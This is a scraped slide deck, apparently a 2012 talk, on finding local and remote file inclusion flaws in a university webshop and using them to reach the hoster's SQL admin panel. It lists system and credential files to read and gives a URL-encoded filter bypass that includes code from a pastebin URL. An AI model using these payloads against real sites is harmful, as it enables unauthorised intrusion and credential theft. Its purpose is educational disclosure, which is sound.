Oops! d e How I accidentally the k c a h University's - - PowerPoint PPT Presentation

▶
oops
SMART_READER_LITE
LIVE PREVIEW

Oops! d e How I accidentally the k c a h University's - - PowerPoint PPT Presentation

Apr 13, 2023 222 likes •493 views

Oops! d e How I accidentally the k c a h University's Merchandising Shop Dan Luedtke <mail@danrl.de> Thu, January 12, 2012 Slide 1 About UniBwM University of the German Federal Armed Forces, Munich ~3700 students in

slide-1
SLIDE 1

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 1

Oops!

How I accidentally the University's Merchandising Shop

h a c k e d

slide-2
SLIDE 2

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 2

About UniBwM

  • University of the German Federal Armed

Forces, Munich

  • ~3700 students in 2011
  • Corporate Design
  • Sells shirts and stuff via

student-driven webshop

UniBwM Press Archive

slide-3
SLIDE 3

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 3

About Me

  • Student of Computer Aided Engineering
  • Assistant at Network Security department
  • find them holes!
  • www.danrl.de
slide-4
SLIDE 4

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 4

slide-5
SLIDE 5

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 5

static dynamic

slide-6
SLIDE 6

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 6

http://www.uni-fashion.de/index.php?inhalt=artikel.php&...

slide-7
SLIDE 7

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 7

That's a filename!

A closer look

http://www.uni-fashion.de/index.php?inhalt=artikel.php&...

Filename is used to load dynamic content. Unfortunately, thats some bad kind of brainchild :(

slide-8
SLIDE 8

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 8

Behind the scenes

Visitor Webserver index.php artikel.php

We call this technique File Inclusion

slide-9
SLIDE 9

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 9

Escalating

  • Let's try some other filenames
  • /etc/passwd
  • /var/log/messages
  • /root/.bash_history
slide-10
SLIDE 10

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 10

No success!

(that's good from the security point of view)

slide-11
SLIDE 11

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 11

Remote File Inclusion

Attacker Webserver index.php evil.php Evil Webserver artikel.php

Let's create some harmless code to include!

slide-12
SLIDE 12

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 12

slide-13
SLIDE 13

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 13

Raw Code

slide-14
SLIDE 14

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 14

Fail!

No success!

(that's good from the security point of view)

slide-15
SLIDE 15

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 15

Difference makes a difference

But wait... ...don't these error messages look different? What does that mean?

Website Error Webserver Error

slide-16
SLIDE 16

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 16

Questions

  • Why failed the Remote File Inclusion attack?
  • Why do local files generate other errors than

remote files?

index.php .htaccess “Rules” “Filtering” Webserver

Request

slide-17
SLIDE 17

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 17

No guts, no glory!

=http is filtered

slide-18
SLIDE 18

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 18

Fail!

=http is filtered

slide-19
SLIDE 19

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 19

Enconding issues

  • In an URL one can write every character as

%<HEX-ASCII>

  • Same URL, different writing
  • http://uni-fashion.de/index.php?a=bc
  • http://uni-fashion.de/index.php?a=%61%62
  • Will the filter catch this one?
  • http://uni-fashion.de/index.php?inhalt=

%68ttp://pastebin.com/raw.php?i=XqcNB6hz

h as %<HEX-ASCII>

slide-20
SLIDE 20

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 20

Bazinga!

slide-21
SLIDE 21

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 21

Can you keep a secret?

  • New code
  • New URL
  • Same game

WTF?

slide-22
SLIDE 22

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 22

A few no-brainers

  • Lookup Hoster in WHOIS
  • Find URL to Hosters SQL-Adminpanel
  • Login in with correct password :)
slide-23
SLIDE 23

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 23

slide-24
SLIDE 24

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 24

My work here is done...

Might be useful :)

slide-25
SLIDE 25

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 25

Lessons learned

  • Always validate every user-based input!
  • Seriously, do it!
  • Do not fix bad code with filters, better repair

your code!

  • Never trust encoding!
  • Use SSL for your SQL-Admin :)
  • I can haz a free T-Shirt now?
slide-26
SLIDE 26

Dan Luedtke <mail@danrl.de> ● Thu, January 12, 2012 ● Slide 26

Thanks!

Questions?